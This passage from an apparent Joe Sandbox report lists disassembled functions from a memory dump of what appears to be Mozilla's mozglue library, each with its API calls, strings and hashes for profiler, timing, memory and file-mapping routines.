Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 811ef73ea0d5409b95ee90f61b24904ad4a02907362b0e03fe190da15d34637f
Instruction ID: 735020f3328ade7d337a0692a28bc0eb7f017f759b84b3a6f6b9a0bc079f6c62
Opcode Fuzzy Hash: 811ef73ea0d5409b95ee90f61b24904ad4a02907362b0e03fe190da15d34637f
Instruction Fuzzy Hash: 76516B75604B06EFC704DF24C884A9ABBB4FF89358F11862EE85A97710DB30E956CB91

Function 6C9A5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C9A56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9A56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C9A56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C9A5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C9A57BC
GetTickCount64.KERNEL32 ref: 6C9A58CB
EnterCriticalSection.KERNEL32(6CA0F688), ref: 6C9A58F3
__aulldiv.LIBCMT ref: 6C9A5945
LeaveCriticalSection.KERNEL32(6CA0F688), ref: 6C9A59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CA0F638,?,?,?,?), ref: 6C9A59E9

Strings

MOZ_APP_RESTART, xrefs: 6C9A56CC

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: bb570436785ade2026a56115eccc6c460e39275a0ea498b56f4ea661392f2f00
Instruction ID: 96fdf59a58fec45802facdeb59ef0a454263a5b5a31c3cbdaa8534096c5073de
Opcode Fuzzy Hash: bb570436785ade2026a56115eccc6c460e39275a0ea498b56f4ea661392f2f00
Instruction Fuzzy Hash: 08C16B31B087819FD709CF68C44066AB7F1BFDA758F158A1DE8C4A7661D730E886CB86

Function 6C9CEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C994A68), ref: 6C9C945E
Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9C9470
Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9C9482
Part of subcall function 6C9C9420: __Init_thread_footer.LIBCMT ref: 6C9C949F

GetCurrentThreadId.KERNEL32 ref: 6C9CEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9CEC8C

Part of subcall function 6C9C94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9C94EE
Part of subcall function 6C9C94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9C9508

GetCurrentThreadId.KERNEL32 ref: 6C9CECA1
AcquireSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C9CECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C9CECC5
ReleaseSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C9CED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C9CED19
CloseHandle.KERNEL32(?), ref: 6C9CED28
free.MOZGLUE(00000000), ref: 6C9CED2F
ReleaseSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C9CED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C9CEC94

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 001c7abca6207c3d073f85277f54321e9e7a5973aea3a3efdd67a5ca99c12ac1
Instruction ID: 36fdda7c36c11afcb82d8d39f7dc4be8a960b15daba359de007d3e3f649aa3c4
Opcode Fuzzy Hash: 001c7abca6207c3d073f85277f54321e9e7a5973aea3a3efdd67a5ca99c12ac1
Instruction Fuzzy Hash: B821E171700209AFDB009F64EC05AAA7779FB563ADF108218FD19A7741DB36D8078BA7

Function 6C9C8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C98EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C98EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C9CB392,?,?,00000001), ref: 6C9C91F4

Part of subcall function 6C9BCBE8: GetCurrentProcess.KERNEL32(?,6C9831A7), ref: 6C9BCBF1
Part of subcall function 6C9BCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9831A7), ref: 6C9BCBFA

Strings

data, xrefs: 6C9C90E8
marker-table, xrefs: 6C9C906C
timeline-ipc, xrefs: 6C9C9096
timeline-memory, xrefs: 6C9C9088
stack-chart, xrefs: 6C9C90B2
timeline-fileio, xrefs: 6C9C90A4
name, xrefs: 6C9C8F16
marker-chart, xrefs: 6C9C905E
timeline-overview, xrefs: 6C9C907A

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 23194269807abac28e1f8b0810fc44d1b221efbeaedce88b26a12c5f91d9aba6
Instruction ID: 1c1824cf8662576a3f43a0af8f87e0ed23b717fd41bbd16c938c9b4242314afe
Opcode Fuzzy Hash: 23194269807abac28e1f8b0810fc44d1b221efbeaedce88b26a12c5f91d9aba6
Instruction Fuzzy Hash: B0B1BFB1B012099BDB08CF99C892BEEBBB5AF9570CF104429D516ABF80D731D945CBD2

Function 6C9AC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9AC5A3
WideCharToMultiByte.KERNEL32 ref: 6C9AC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C9AC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C9ACA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9ACA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ACAA5

Strings

(null), xrefs: 6C9AC596
0, xrefs: 6C9AD30A

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 27bfb6c262794fd5250c4e429232c3153e477ebaa8ebd00b06b7297c5db7acf9
Instruction ID: af0d14f7c3475a862da7fd4529f6644a1aba32224bbeedad69f888a5488dd9fa
Opcode Fuzzy Hash: 27bfb6c262794fd5250c4e429232c3153e477ebaa8ebd00b06b7297c5db7acf9
Instruction Fuzzy Hash: DCA1AD317083429FDB04DF68C54475ABBF5AF89788F04892DE899DB751DB32E806CB92

Function 6C9AC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9AC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9AC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C9AC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9AC891

Strings

INF, xrefs: 6C9AC794
nan, xrefs: 6C9AC7A8
NAN, xrefs: 6C9AC7AD
inf, xrefs: 6C9AC78F

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 5a5d02d33204d4147ba4c089fd0c6b2affda988db2fc2ed3db7483514c249dc2
Instruction ID: ade8fb7da3c4c3e66190396c65c09e839f840bb3c84c58b6fd407e554b0005eb
Opcode Fuzzy Hash: 5a5d02d33204d4147ba4c089fd0c6b2affda988db2fc2ed3db7483514c249dc2
Instruction Fuzzy Hash: C25182716087408BD704DF6CC58129AFBF4BF9A348F008A2DE9D5AB650E771D986CB43

Function 6C984480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C9C4843,?), ref: 6C9845F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C9C4843,?), ref: 6C98468A
free.MOZGLUE(?,?,?,?,?,?,6C9C4843,?), ref: 6C9846C9
free.MOZGLUE(?), ref: 6C9846EF
free.MOZGLUE(?), ref: 6C984712
free.MOZGLUE(?), ref: 6C984735
free.MOZGLUE(?), ref: 6C984758
free.MOZGLUE(?), ref: 6C98477B
free.MOZGLUE(?), ref: 6C98479E

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 6035520456d9c954ce1f02ef593f30b857f18e6c8cda8eb2cc62f89e3a33723f
Instruction ID: 226c3c25306a87e155e9264a016888b6a8c9fd5a5fdd2991169836dd2c8e0ad2
Opcode Fuzzy Hash: 6035520456d9c954ce1f02ef593f30b857f18e6c8cda8eb2cc62f89e3a33723f
Instruction Fuzzy Hash: C7B1F472A021118FDB18CF7CD8B076D77AAAF52328F584A69E416DBBC6D730D8408F81

Function 6C9EAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C9EAC52
CreateFileMappingW.KERNEL32 ref: 6C9EAC7D
GetSystemInfo.KERNEL32 ref: 6C9EAC98
MapViewOfFile.KERNEL32 ref: 6C9EACB0
GetSystemInfo.KERNEL32 ref: 6C9EACCD
MapViewOfFile.KERNEL32 ref: 6C9EAD05
UnmapViewOfFile.KERNEL32 ref: 6C9EAD1C
CloseHandle.KERNEL32 ref: 6C9EAD28
UnmapViewOfFile.KERNEL32 ref: 6C9EAD37
CloseHandle.KERNEL32 ref: 6C9EAD43
CloseHandle.KERNEL32 ref: 6C9EAD67

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: af132d8efd167ac4654c0cc68f8efd9b0b426ee50232de732cc92eee5695a974
Instruction ID: 7bed3d52343ea1ed82bfd19f8a159b8db34e0a1c39df4857ee9ff20ab465279c
Opcode Fuzzy Hash: af132d8efd167ac4654c0cc68f8efd9b0b426ee50232de732cc92eee5695a974
Instruction Fuzzy Hash: 703171B1A043058FDB00AF78D64826EBBF0FF85344F018A2DE98587351EB70948ACB82

Function 6C999620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C999675
__Init_thread_footer.LIBCMT ref: 6C999697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9996E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C999707
__Init_thread_footer.LIBCMT ref: 6C99971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C999773

Part of subcall function 6C9BAB89: EnterCriticalSection.KERNEL32(6CA0E370,?,?,?,6C9834DE,6CA0F6CC,?,?,?,?,?,?,?,6C983284), ref: 6C9BAB94
Part of subcall function 6C9BAB89: LeaveCriticalSection.KERNEL32(6CA0E370,?,6C9834DE,6CA0F6CC,?,?,?,?,?,?,?,6C983284,?,?,6C9A56F6), ref: 6C9BABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9997B7
FreeLibrary.KERNEL32 ref: 6C9997D0
FreeLibrary.KERNEL32 ref: 6C9997EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C999824

Strings

ntdll.dll, xrefs: 6C9996E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C999670
NtMapViewOfSection, xrefs: 6C999701
MapViewOfFileNuma2, xrefs: 6C9997B1

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: fd2ce7aa65e717e77b10e64639891c44f27cff98473f259e2f74d3246ab5e91c
Instruction ID: 5693bcab73b77a13b68118de06cd241e33a6fd0e457af469e8e04ddcacb2d7bd
Opcode Fuzzy Hash: fd2ce7aa65e717e77b10e64639891c44f27cff98473f259e2f74d3246ab5e91c
Instruction Fuzzy Hash: C7416D747003069FDF048FA9EC84A9A77B4FB49799F15812DED19A7740E730E846CBA2

Function 6C981E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA0E784), ref: 6C981EC1
LeaveCriticalSection.KERNEL32(6CA0E784), ref: 6C981EE1
EnterCriticalSection.KERNEL32(6CA0E744), ref: 6C981F38
LeaveCriticalSection.KERNEL32(6CA0E744), ref: 6C981F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C981F83
LeaveCriticalSection.KERNEL32(6CA0E784), ref: 6C981FC0
EnterCriticalSection.KERNEL32(6CA0E784), ref: 6C981FE2
LeaveCriticalSection.KERNEL32(6CA0E784), ref: 6C981FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C982019

Strings

MOZ_CRASH(), xrefs: 6C982000

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 65b1b825d6d652df95a3b83d6b3d8034afa89324dedef7bdd523869fb28f0dbb
Instruction ID: 913cc709a6b0d4b912e3f18cbb20a3bc6f6013629b844f572e0e2e8540aca9bf
Opcode Fuzzy Hash: 65b1b825d6d652df95a3b83d6b3d8034afa89324dedef7bdd523869fb28f0dbb
Instruction Fuzzy Hash: 7A41F171B013168FDB048F68D888BAF7AB5EF5A38DF044529E96597740DB70D8068BD1

Function 6C9D0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C994A68), ref: 6C9C945E
Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9C9470
Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9C9482
Part of subcall function 6C9C9420: __Init_thread_footer.LIBCMT ref: 6C9C949F

GetCurrentThreadId.KERNEL32 ref: 6C9D0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9D0041
GetCurrentThreadId.KERNEL32 ref: 6C9D0075
AcquireSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C9D0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C9D0090
free.MOZGLUE(?), ref: 6C9D0104
ReleaseSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C9D011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C9D005B

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 656f3b8bd1b8d586e12b489e72025b5e72a8ab0286a7a2758a011adf929aba3c
Instruction ID: b45c68df7a225a451c5d4691126b88a08051d0907bae0226f486d3522f614f93
Opcode Fuzzy Hash: 656f3b8bd1b8d586e12b489e72025b5e72a8ab0286a7a2758a011adf929aba3c
Instruction Fuzzy Hash: 2F41AA71601705EFCB10CF64D840A9ABBB0FF69258F41851DED9AA3B40D732F806CBA6

Function 6C997E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C997EA7
malloc.MOZGLUE(00000001), ref: 6C997EB3

Part of subcall function 6C99CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C99CB49
Part of subcall function 6C99CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C99CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C997EC4
mozalloc_abort.MOZGLUE(?), ref: 6C997F19
malloc.MOZGLUE(?), ref: 6C997F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C997F4D

Strings

d, xrefs: 6C997F89

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 750a79d654ae58a7505729754a62f6fdb0dd310aeee62dbe7fe061125eca8863
Instruction ID: 14bb2551dcb2985652fbbae5982879021d6edc0e6ac0b21303dcae80f8e55dcb
Opcode Fuzzy Hash: 750a79d654ae58a7505729754a62f6fdb0dd310aeee62dbe7fe061125eca8863
Instruction Fuzzy Hash: 42310762E0438997DB009F68DC045FEB778EFA524CF059229DC5957712FB30E699C391

Function 6C993E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C993EEE
RtlFreeHeap.NTDLL ref: 6C993FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C994006
RtlFreeHeap.NTDLL ref: 6C9940A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C993CCC), ref: 6C9940AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C993CCC), ref: 6C9940C2
RtlFreeHeap.NTDLL ref: 6C994134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C993CCC), ref: 6C994143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C993CCC), ref: 6C994157

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 00edaa9683e4df407ad8e52676886fb97e592a4dc261fe16ea263f595fe057a2
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 4BA1A1B1A00205CFEB51CF28C880669B7F5FF58318F294199D919AF702D771E996CFA0

Function 6C982030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C9A3F47,?,?,?,6C9A3F47,6C9A1A70,?), ref: 6C98207F
memset.VCRUNTIME140(?,000000E5,6C9A3F47,?,6C9A3F47,6C9A1A70,?), ref: 6C9820DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C9A3F47,6C9A1A70,?), ref: 6C98211A
EnterCriticalSection.KERNEL32(6CA0E744,?,6C9A3F47,6C9A1A70,?), ref: 6C982145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C9A3F47,6C9A1A70,?), ref: 6C9821BA
EnterCriticalSection.KERNEL32(6CA0E744,?,6C9A3F47,6C9A1A70,?), ref: 6C9821E0
LeaveCriticalSection.KERNEL32(6CA0E744,?,6C9A3F47,6C9A1A70,?), ref: 6C982232

Strings

MOZ_CRASH(), xrefs: 6C98227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C982253, 6C982268

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
